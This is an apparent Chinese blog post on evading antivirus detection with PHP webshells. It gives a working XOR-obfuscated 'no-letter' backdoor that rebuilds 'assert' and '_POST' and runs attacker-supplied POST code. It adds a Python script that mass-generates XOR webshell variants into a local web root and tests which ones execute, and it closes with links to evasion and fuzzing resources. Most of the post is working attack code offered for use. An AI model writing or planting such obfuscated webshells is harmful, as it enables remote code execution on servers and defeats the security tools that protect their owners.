zoukankan      html  css  js  c++  java
  • python开发(3)-PHP异或免杀

    关于eval函数在php给出的官方说明是

    eval 是一个语言构造器而不是一个函数,不能被 可变函数 调用
    可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行
    通俗的说比如你 <?php $a=eval;$a() ?> 这样是不行的 也造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行

    利用异或运算免杀(无字符后门)

    <?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');  //$_='assert';
    $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); //$__='_POST';
    $___=$$__;$_($___[_]); //assert($_POST[_]);
    ?>

    利用代码生成可行的异或运算出来的免杀后门

    import requests
    import time
    
    def string():
        for i in range(1,127):
            for ii in range(1,127):
                payload="'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"
                code="<?php $a=("+payload+").'ssert';$a($_POST[x]);?>"
                filename=str(i)+'xd'+str(ii)+'.php'
                with open('D:/phpstudy/PHPTutorial/WWW/x/'+filename,'a') as f:
                    f.write(code)
                    print('Fuzz->'+filename+'文件写入成功')
                    f.close()
                url = 'http://127.0.0.1:8081/x/' + filename
                datas = {
                    'x': 'phpinfo();'
                }
                result = requests.post(url, data=datas).content.decode('utf-8')
                if 'XIAODI-PC' in result:
                    print('check->'+filename+'->ok')
                else:
                    print('check->'+filename+'->no')
                time.sleep(1)
    
    
    def shell_test_check():
        url='http://127.0.0.1:8081/x/33xd64.php'
        datas={
            'x':'phpinfo();'
        }
        result=requests.post(url,data=datas).content.decode('utf-8')
        print(result)
        if 'XIAODI-PC' in result:
            print('ok')
    
    if __name__ == '__main__':
        string()

    php 免杀参考:https://www.cnblogs.com/liujizhou/p/11806497.html 

    fuzz字典合集:https://github.com/stemmm/fuzzDicts

  • 相关阅读:
    windows上npm yarn.ps1,因为在此系统上禁止运行脚本
    windows批量启动服务
    Typora极简教程
    Markdown修改字体颜色
    markdown锚点
    R语言报错long vectors not supported yet qap_encode.c 36
    MAC OS 解决R语言locale问题
    Java调用R语言
    MQL4编程—值传递和引用传递
    二分法查找
  • 原文地址:https://www.cnblogs.com/trevain/p/14192658.html
Copyright © 2011-2022 走看看